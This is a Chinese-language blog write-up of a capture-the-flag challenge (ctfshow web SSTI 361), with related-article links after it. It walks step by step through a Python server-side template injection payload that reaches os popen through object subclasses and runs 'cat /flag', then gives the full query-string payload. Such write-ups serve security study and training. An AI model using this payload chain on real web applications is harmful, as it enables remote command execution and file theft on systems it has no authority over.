ctfshow web入门 SSTI 361

提示“名字就是考点”

传参点name

 

  1. 获取字符串的类

    "".__class__

    得到str的类对象。

  2. 获取基类

    "".__class__.__bases__[0]

    这会得到str类的基类列表,其中第一个元素是object类。

  3. 获取object类的所有子类

    "".__class__.__bases__[0].__subclasses__()

    返回一个包含Python中所有类的列表,这些类都是直接或间接从object继承的。

  4. 选择特定的子类

    "".__class__.__bases__[0].__subclasses__()[132]

    选择了列表中的第133个元素(因为索引是从0开始的)。

  5. 访问Popen类的初始化方法的全局变量

    "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__

    通过访问Popen类的__init__方法的__globals__属性,可以获得一个字典,其中包含Popen类定义时可用的所有全局变量。

  6. 调用popen

    "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']

    从全局变量字典中获取名为popen的变量

  7. 执行系统命令

    "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag')

    使用Popen类来执行cat /flag命令,这个命令通常用于读取名为flag的文件。

  8. 读取命令输出

    "".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()

    调用read()方法来读取Popen对象的输出,即cat /flag命令的输出。

    ?name="".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-03-17 13:08:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-17 13:08:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-17 13:08:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-17 13:08:02       18 阅读

热门阅读

  1. 英语随笔,发散了 3.17

    2024-03-17 13:08:02       17 阅读
  2. web安全——sql注入漏洞知识点总结

    2024-03-17 13:08:02       17 阅读
  3. 嵌入式摄像头,获取视频要通过进程通讯?

    2024-03-17 13:08:02       20 阅读
  4. 外观模式实战运用

    2024-03-17 13:08:02       18 阅读
  5. Android中的设计模式---单例模式

    2024-03-17 13:08:02       19 阅读
  6. 大型语言模型与Scikit-learn:Scikit-LLM全面指南

    2024-03-17 13:08:02       18 阅读
  7. Rust的所有权和生命周期机制的本质

    2024-03-17 13:08:02       21 阅读
  8. redis spring cache

    2024-03-17 13:08:02       15 阅读